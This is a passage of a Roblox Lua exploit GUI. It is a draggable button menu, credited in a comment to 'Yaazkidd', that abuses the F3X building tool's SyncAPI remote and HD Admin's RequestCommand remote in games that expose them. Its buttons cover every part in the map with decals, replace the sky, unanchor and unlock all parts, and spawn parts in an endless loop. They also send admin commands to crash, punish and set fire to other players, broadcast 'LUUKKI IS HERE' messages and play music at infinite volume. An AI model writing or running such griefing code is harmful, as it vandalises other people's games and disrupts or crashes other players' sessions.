ImageButton_8.Image = "rbxassetid://83632141493364" TextLabel_9.Parent = ImageButton_8 TextLabel_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_9.BackgroundTransparency = 1.000 TextLabel_9.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_9.BorderSizePixel = 0 TextLabel_9.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_9.Size = UDim2.new(0, 63, 0, 26) TextLabel_9.Font = Enum.Font.SourceSans TextLabel_9.Text = "unanchor" TextLabel_9.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_9.TextScaled = true TextLabel_9.TextSize = 14.000 TextLabel_9.TextWrapped = true ImageButton_9.Parent = ImageLabel ImageButton_9.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_9.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_9.BorderSizePixel = 0 ImageButton_9.Position = UDim2.new(0.024630541, 0, 0.699262202, 0) ImageButton_9.Size = UDim2.new(0, 388, 0, 47) ImageButton_9.Image = "rbxassetid://83632141493364" TextLabel_10.Parent = ImageButton_9 TextLabel_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_10.BackgroundTransparency = 1.000 TextLabel_10.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_10.BorderSizePixel = 0 TextLabel_10.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_10.Size = UDim2.new(0, 388, 0, 26) TextLabel_10.Font = Enum.Font.SourceSans TextLabel_10.Text = "particles" TextLabel_10.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_10.TextScaled = true TextLabel_10.TextSize = 14.000 TextLabel_10.TextWrapped = true ImageButton_10.Parent = ImageLabel ImageButton_10.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_10.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_10.BorderSizePixel = 3 ImageButton_10.Position = UDim2.new(0, 0, -0.269861788, 0) ImageButton_10.Size = UDim2.new(0, 100, 0, 47) ImageButton_10.Image = "rbxassetid://83632141493364" TextLabel_11.Parent = ImageButton_10 TextLabel_11.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_11.BackgroundTransparency = 1.000 TextLabel_11.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_11.BorderSizePixel = 0 TextLabel_11.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_11.Size = UDim2.new(0, 100, 0, 26) TextLabel_11.Font = Enum.Font.SourceSans TextLabel_11.Text = "f3x" TextLabel_11.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_11.TextScaled = true TextLabel_11.TextSize = 14.000 TextLabel_11.TextWrapped = true -- Scripts: local function JGLNADH_fake_script() -- ImageButton.LocalScript local script = Instance.new('LocalScript', ImageButton) local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("83632141493364") end) end coroutine.wrap(JGLNADH_fake_script)() local function RQFB_fake_script() -- ImageButton_2.LocalScript local script = Instance.new('LocalScript', ImageButton_2) local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool local remote -- Search player Backpack and character for the tool for _, v in player.Backpack:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end if not tool and char then for _, v in char:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then for _, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent break end end end if not tool then warn("SyncAPI tool not found!") return end remote = tool.SyncAPI.ServerEndpoint local function _(args) remote:InvokeServer(table.unpack(args)) end local function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end local function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end local function CreatePart(cf, parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end local function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end local function MovePart(part, cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end local function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end local function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end local function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end local function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end local function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end local function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end local function Weld(part1, part2, lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end local function SetLocked(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end local function SetTrans(part, int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end local function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end local function SyncLighting(part, brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end local function Color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color, ["UnionColoring"] = false } } } _(args) end local function SpawnDecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end local function AddDecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset } } } _(args) end local function Sky(id) local root = char:WaitForChild("HumanoidRootPart") local spawnCF = root.CFrame + Vector3.new(0, 6, 0) -- Snapshot existing parts before creating local existingParts = {} for _, v in workspace:GetChildren() do existingParts[v] = true end CreatePart(spawnCF, workspace) task.wait(0.3) -- Find the newly added part local skyPart for _, v in workspace:GetChildren() do if v:IsA("BasePart") and not existingParts[v] then skyPart = v break end end if skyPart then SetName(skyPart, "Sky") AddMesh(skyPart) SetMesh(skyPart, "111891702759441") SetTexture(skyPart, id) MeshResize(skyPart, Vector3.new(10000, 10000, 10000)) SetLocked(skyPart, true) SetAnchor(true, skyPart) else warn("Sky part not found after creation!") end end Sky("83632141493364") --Please leave this credit --Script made by Yaazkidd (I copy inspiration from blue2spooky wooo) end) end coroutine.wrap(RQFB_fake_script)() local function XHJSXPL_fake_script() -- ImageButton_3.LocalScript local script = Instance.new('LocalScript', ImageButton_3) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";sm we are luukki's") end) end coroutine.wrap(XHJSXPL_fake_script)() local function FAZSI_fake_script() -- ImageButton_4.LocalScript local script = Instance.new('LocalScript', ImageButton_4) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";sh LUUKKI IS HERE") end) end coroutine.wrap(FAZSI_fake_script)() local function FAHGPMB_fake_script() -- ImageButton_5.LocalScript local script = Instance.new('LocalScript', ImageButton_5) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";TITLE ALL luukki's") end) end coroutine.wrap(FAHGPMB_fake_script)() local function GIYAPX_fake_script() -- ImageButton_6.LocalScript local script = Instance.new('LocalScript', ImageButton_6) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";fire all") end) end coroutine.wrap(GIYAPX_fake_script)() local function XVVLI_fake_script() -- ImageButton_7.LocalScript local script = Instance.new('LocalScript', ImageButton_7) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";punish others") RequestCommand:InvokeServer(";crash others") end) end coroutine.wrap(XVVLI_fake_script)() local function VQCBLMF_fake_script() -- ImageButton_8.LocalScript local script = Instance.new('LocalScript', ImageButton_8) local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Unanchor() for i,v in game.Workspace:GetDescendants() do spawn(function() SetLocked(v,false) SetAnchor(false,v) end) end end Unanchor() end) end coroutine.wrap(VQCBLMF_fake_script)() local function PXDXU_fake_script() -- ImageButton_9.LocalScript local script = Instance.new('LocalScript', ImageButton_9) local button = script.Parent button.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end if not tool then return end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function CreatePart(cf,parent) _({"CreatePart","Normal",cf,parent}) end function SetName(part,name) _({"SetName",{part},name}) end function Resize(part,size,cf) _({"SyncResize",{{Part=part,CFrame=cf,Size=size}}}) end function MovePart(part,cf) _({"SyncMove",{{Part=part,CFrame=cf}}}) end function SetLocked(part,boolean) _({"SetLocked",{part},boolean}) end function SetTrans(part,int) _({"SyncMaterial",{{Part=part,Transparency=int}}}) end function SpawnDecal(part,side) _({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}}) end function AddDecal(part,asset,side) _({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://83632141493364"}}}) end while wait(0.1) do spawn(function() local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100) local f = char.HumanoidRootPart.CFrame.y local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100) CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then SetName(v,"particle") SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,decalId,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,decalId,Enum.NormalId.Back) SetTrans(v,1) Resize(v,Vector3.new(7,7,0.1),v.CFrame) SetLocked(v,true) while wait(0.01) do MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z)) end end end end) end end) end coroutine.wrap(PXDXU_fake_script)() local function APNYCVP_fake_script() -- ImageButton_10.LocalScript local script = Instance.new('LocalScript', ImageButton_10) local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";btools") end) end coroutine.wrap(APNYCVP_fake_script)() local function KIRODE_fake_script() -- ImageLabel.Smooth GUI Dragging local script = Instance.new('LocalScript', ImageLabel) local UserInputService = game:GetService("UserInputService") local runService = (game:GetService("RunService")); local gui = script.Parent local dragging local dragInput local dragStart local startPos function Lerp(a, b, m) return a + (b - a) * m end; local lastMousePos local lastGoalPos local DRAG_SPEED = (8); -- // The speed of the UI darg. function Update(dt) if not (startPos) then return end; if not (dragging) and (lastGoalPos) then gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)) return end; local delta = (lastMousePos - UserInputService:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X); local yGoal = (startPos.Y.Offset - delta.Y); lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)) end; gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position lastMousePos = UserInputService:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) runService.Heartbeat:Connect(Update) end coroutine.wrap(KIRODE_fake_script)() end) end; task.spawn(C_27); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_29() local script = G2L["29"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";music 1839246711") RequestCommand:InvokeServer(";volume inf") end) end; task.spawn(C_29); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2b() local script = G2L["2b"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";btools") end) end; task.spawn(C_2b); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_2e() local script = G2L["2e"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";r6") end) end; task.spawn(C_2e); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_30() local script = G2L["30"]; local button = script.Parent button.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";respawn") end) end; task.spawn(C_30); -- StarterGui.ScreenGui.Frame.Smooth GUI Dragging local function C_31() local script = G2L["31"]; local UserInputService = game:GetService("UserInputService") local runService = (game:GetService("RunService")); local gui = script.Parent local dragging local dragInput local dragStart local startPos function Lerp(a, b, m) return a + (b - a) * m end; local lastMousePos local lastGoalPos local DRAG_SPEED = (8); -- // The speed of the UI darg. function Update(dt) if not (startPos) then return end; if not (dragging) and (lastGoalPos) then gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)) return end; local delta = (lastMousePos - UserInputService:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X); local yGoal = (startPos.Y.Offset - delta.Y); lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)) end; gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position lastMousePos = UserInputService:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) runService.Heartbeat:Connect(Update) end; task.spawn(C_31); return G2L["1"], require;